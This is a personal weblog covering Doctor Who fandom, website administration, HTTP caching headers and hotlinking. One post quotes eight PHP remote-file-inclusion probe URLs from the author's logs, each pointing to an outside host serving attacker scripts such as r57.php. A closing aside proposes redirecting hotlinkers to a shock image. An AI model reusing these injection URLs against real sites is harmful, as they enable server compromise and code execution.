Alden Bates' Weblog

I'm finding that the new error 403 graphic (it appears when people try to leech my bandwidth by remote-linking to my graphics) for this site is proving to be quite effective at discouraging bandwidth leeching. I think it's the middle bit.

If only there were some way to apply this technique to email spam...

Previously: Even better hotlink protection, More on "Even better hotlink protection"

Back in Y2K or so, Jim Mortimore wrote a Doctor Who novel called Campaign. At the time, BBC books were publishing Doctor Who books from a wider range of people, so he submitted it to them. It was rejected. Campaign, you see, didn't so much push the limits of the genre as kick the limits over and then run away giggling. It's a veritable mind-bender of a story.

At the time, the author chose to self-publish the novel, and the other day, it went up on the NZDWFC site as an eBook. It's available primarily as a PDF file (although there's also the option to email the author regarding a hard copy) and not in HTML format like the other eBooks, mainly because it would be really difficult to do.

The crux is, the book is now available to an audience I suspect is wider than that which it would have had had it actually have been published back in 2000. :)

Read Campaign here.

Good morning, April (I meant to post this yesterday, when it would have been 25% closer to the start of the month, but oh well...)

Continue reading "Random Sunrise Photo!"

I help out in a technical capacity with a Doctor Who fanfiction archive where recently the moderators made a number of changes to the site policies. Some of the authors didn't like the changes, thus proving you can't please everyone all of the time, but I honestly think that the changes (I had little to do with them myself) have had a positive impact on the site.

Then there are the authors who tried to flagrantly break the rules, got abusive to moderators, and set up LiveJournals named "fighting_spoon" in order to complain about how unfair it was that they got banned. You can read about them in this fandom_wank post.

Which is why I try to avoid running anything.

I noticed some odd things about the hits supposedly coming from Microsoft's Live Search recently. First there's a hit from msnbot for page X. This is followed by another hit on page X, from a Microsoft IP address with the referrer set to a search.live.com results page and with an IE7 user agent, however the second agent only loads CSS and javascript, no images.

Despite the referrer, my web page doesn't appear in the results for the search term given. One hit, for instance, was for TSV 48 for the search term pertwee, yet TSV 48 isn't listed on that search results page (it's on about page 11).

The only clue was a parameter on the referring URL: FORM=LIVSOP. Googling revealed the truth:

msndude says:
The traffic you are seeing is part of a quality check we run on selected pages. While we work on addressing your conerns, we would request that you do not actively block the IP addreses used by this quality check; blocking these IP addresses could prevent your site from being included in the Live Search index.

While there are a lot of complaints in that thread, what Microsoft appear to be doing is testing for spammy pages set up to redirect non-bot visitors to other, less desirable pages. It seems to me that there's a lot of blaming of Microsoft, when people should be blaming the spammers. I fully approve of MS keeping their results free of spam.

Edit: Oh, and Google seem to be doing it too.

Lots of short items which I can't be bothered writing full posts for:

Prime TV is going to start screening Series 3 of Doctor Who on August 19th. You can read more about it here (I know the page layout sucks - I'm going to tidy it up on the weekend).

Blogger: Please add a bulk submittal version of your spam reporting tool, so I when I get spammed with 200 blogspot URLs, I can report all of them at once.

I believe the hacker who's been trying to hack into my site to be a Brazilian who goes by the handle Nicksom2d. One of the scripts used to try to hack in was located on a hacked site, with a main page title "Owned by Nicksom2d from Brazil". Nicksom2d also wrote there "I never really hated the stupids admins but I hate the admin that make a website and ignore all the possibilities of invasion, sometimes I would be a hacker... just it..." Word.

Stone Age, one of my favourite groups, has a new album out, Totems d'Armorique! And it's, like, almost totally different to their other albums.

The NZDWFC site had 7720 unique visitors last month, beating its previous best of 7624 set in May.

Apparently there are approximately four times more people searching for Transformers Robot Heroes than there are for Transformers slash. This proves Robot Heroes are better than sex.

The Bill Gates eyes program I made years ago on a whim got downloaded over a thousand times last month. No, I don't know why.

Three search queries of note used to find my site in July:

• wallet with masturbate (eh?)
• how to pronounce earth (It's "urf")
• alden porn (I'm flattered, but... no.)

Watch out - I'm about to make myself sound like a snob. :)

What is it about PHP that spawns applications with security holes? My site gets hit a lot by people/bots probing for security holes, and said hack attempts exclusively include "php" somewhere in the URL. Witness a smattering of hack attempts that have occurred recently:

• /index.php?plugin=http://perdu.ch/cgi-bin/echo?
• ///plugin/HP_DEV/cms2.php?s_dir=http://secretagent.by.ru/r57.php??
• /plugins/spamx/MTBlackList.Examine.class.php?_CONF[path]=http://www.kebcomputer.com/cache/tests.txt??
• /get_session_vars.php?path_to_smf=http://www.eclypse.info/oche?
• /archives/2005/bridges/SMF/logout.php?path_to_smf=http://utenti.lycos.it/r57/stringa.txt?
• /index.php3?p=http://www.freewebs.com/enemyownz/id.txt?
• /index.php3?i=http://80.201.236.78/~pat/evilx?
• /plugins/%3Cwbr%20/%3Epagedarchives.html/index.php?page=http://www.techgoiania.com.br/components/com_juice/canboy1?

As an aside, even an idiot could see that last URL wouldn't work. Evidently the tool used to probe it was written by a chimp. But I digress.

What's with all the security holes in PHP apps? Is it just that PHP is so popular for web development that it has the same problem as Windows (the majority use it, so hacks are more common)? Of course, all of the URLs there have something in common - they obviously count on the application in question using input from the end user without validating it first. Is there something in PHP which tends to encourage this sort of thing, or just that it's so widely used that it attracts more lazy programming?

Of course, both Wordpress and Movable Type (both applications which I use on this site) have had security holes - one uses PHP, the other uses Perl, and both are written to a very high standard. Both are also widely used, which suggests to me that PHP is a victim of its own success. Like Windows, they're so common that any security holes are highly sought after by hackers.

That said, I'd be extremely hesitant about installing any other PHP applications here...

Out of interest, I slapped Google Adsense on here a month or so ago, to see what would happen. It didn't make enough money to counteract the deep, deep shame I felt in having adverts on my weblog, so now they're gone again.

I suspect the problem was twofold: 1) the contextual adverts weren't relevant enough, and 2) users tend to ignore most adverts these days anyway. Oh well. :)

This weblog is now located at www.aldenbates.com, because I can. And also because it's easier to remember than 'abates.tetrap.com' (the old subdomain redirects here, of course). Please update your links and bookmarks. :)

So this post isn't a total wash, here's a picture I took last weekend from the top of Cannon Point:

In the foreground is Upper Hutt, with the Hutt River winding its way up the right-hand side. The bridge at lower right is the one I mentioned in this post last year. Beyond the hill in middle centre is Lower Hutt (It's actually quite a lot bigger than it appears in that photo. Yeah, as if we haven't heard that one before), beyond which is Wellington Harbour, on the other side of which is Wellington (yes, where Peter Jackson lives). In the far far background, you may be able to make out the very dim outline of the South Island.

This photo was taken with my shiny new Canon Powershot digital camera. :)

Sometimes the most unexpected things happen on this site. For instance, so far this month the five most popular archives TSV items are:

1. What's really inside a Dalek
2. Who Killed Kennedy eBook
3. Cyberman shot by an arrow
4. Is that a Sonic Screwdriver in your Pocket, Doctor?
5. The Doctor and Rose standing over a Slitheen

Why is a crumby cartoon I drew back in 1993 the most popular? Because when you do an image search on Google for inside a dalek, the first result looks like this:

...which looks deceptively like something the searcher would be looking for. I feel vaguely guilty now!

I was looking at Google Webmaster Tools before and noticed that after years of languishing at at around 50th hit for the query "Alden", I'm now at 12th position. I'm headin' for the top, baby!

I'm still confused over something on the "Crawl stats" page though: For months and months now, it's reported that over half the pages on tetrap.com have "PageRank not yet assigned" like so:

I can't tell if this is a glitch in the system (it's counting pages which are blocked from being indexed or something?) or simply that it's not being updated.

I've just knocked a long-standing item off my todo list: Every page on tetrap.com is now validated strict XHTML. This means that the pages will all be a lot more compatible with browsers other than Internet Explorer.

The last section that needed to be converted was The DiscContinuity Guide, which was unfortunately last updated more than two years ago. The HTML code it contained was very old (and buggy in a couple of places) but is now all fixed up and shiny.

This also marks the first time in a few year that tetrap.com has had a uniform look to it (except the NZDWFC site which has a look of its own).

My good mood is only slightly spoiled by the fact that TV2 have resumed playing new episodes of Stargate SG-1 at 1pm on Saturdays and DIDN'T BOTHER TO TELL ANYONE! It appears I've only missed the first episode of season 9 (yes, NZ is two years behind) though...

The amount of bandwidth the NZDWFC site's been using has been steadily increasing recently, so I've been looking at what I can do to reduce the amount of data sent, hopefully without impacting on anyone's browsing experience. The top ten pages in terms of hits last month were:

1. the index page
2. the new series message board
3. the forums index page
4. the general message board
5. the page of series 2 images
6. a piece of Cyberman artwork
7. The Traders' Corner message board
8. the Andrew Cartmel interview
9. the artwork from the cover of TSV 72
10. Pr1me Computers

I suspect that main culprit is the fifth item there, since it's basically a page of thumbnails, but aside from that seven of the pages there have something in common - they're dynamically generated. When someone hits the forum index, a script grabs the last ten posts on each message board and constructs an HTML page which is sent to the browser.

When a user visits a static page, which is stored as a .html file on the server, the web server sends a "Last-Modified" header telling their browser when the file was last changed. The next time they visit it, the browser sends an "If-Modified-Since" header to the web server to say "send me the page if it's been updated since X date/time". The web server checks against the .html file and will only send it to the browser if it has been changed. This saves a bit of bandwidth by not sending unnecessary data.

If a web page is generated dynamically by a perl script (or a script in any other programming language, for that matter), the web server has no way of knowing whether the contents of the page have changed since the user last looked at it, so it sends it again. Support for "Last-Modified" and "If-Modified-Since" have to be done in the script itself. So last night I implemented it in the script which generates the forum index page.

The problem with this, as I discovered, was that the forum index also has controls on it to expand and shrink the lists for each message board. These affect the way that the script generates the HTML page, so if the script is only checking for changes to the message boards and not changes to these controls, the controls stop being persistent between visits. I probably would have found this out last night if Xtra's broadband wasn't so crap - at one point it completely dropped my connection for about ten minutes...

So I think the answer is to use an ETag header instead. ETags work in a similar way, but you're not limited to a date/time value, so it can include whatever other settings affect the generated page as well. One question I have which I haven't been able to find an answer for is that the If-None-Match header which a browser sends can contain more than one entity-tag value, so how does the browser know when an entity-tag value is no longer valid? The RFC doesn't make it clear what the client should do. Does that mean eventually browsers could be sending hundreds of entity-tag values?

Last week I took part in the shifting of A Teaspoon and an Open Mind from one web host to HostForWeb. I struck only two major problems.

1/ The backup format for MySQL databases which HostForWeb and the old web host used were completely different. The old host generated a gzipped tar of FRM, MYD, and MYI files, while HostForWeb expects a file in some format I didn't recognise. Fortunately I've struck a similar problem before, so I generated a file full of SQL queries and away I went.

2/ I discovered that if you tar and gz a directory structure in Windows XP, then decompress it again on Linux, all the directories are created without the executable attribute (On UNIX systems, directories must be set executable so you can use them, while Windows doesn't even have an executable attribute). I wrote a perl script to run through all the directories and set the executable bit.

Hopefully we won't need to do that again soon.

I've ranted on about hotlinking images on my site before. I find it rude because they're using my bandwidth to decorate their own site with pretty images. Although I've put some measure of protection on, sometimes people will try it and not bother to remove the link when it doesn't work. I thought it might be useful to list the top 5 hotlinked images:

	The V for Vendetta comic image from the Comic Connection article from TSV 26, for obvious reasons.
	A convention photo of Tobey Maguire, predating the release of Spider-Man.
	The Greg the Bunny icons, particularly the ones of Tardy and Count Blah.
	Turdy, the alien from The Outer Limits. I'm still not sure what Turdy's appeal is. Maybe it's his smile.
	Thing, from The Tomorrow People.
	An old Dead Can Dance image. Just a picture of some arched windows which I no longer use on my music site - the one currently gracing the DCD page is a DVD screenshot.

I believe the most effective way to prevent undesired image hotlinking is to prevent Google Image search from indexing the pictures on a site; The vast majority of hotlinkers find the images via Google image search.

As a side note, myspace recently added a mechanism for reporting offensive images - there's a link at the bottom of each profile page - so it may be that the most effective way to deal with myspace hotlinkers is to redirect the image to a copy of tubgirl or similar, then report it. I do notice that hotlinking from myspace appears to have reduced drastically on my site since they've introduced this.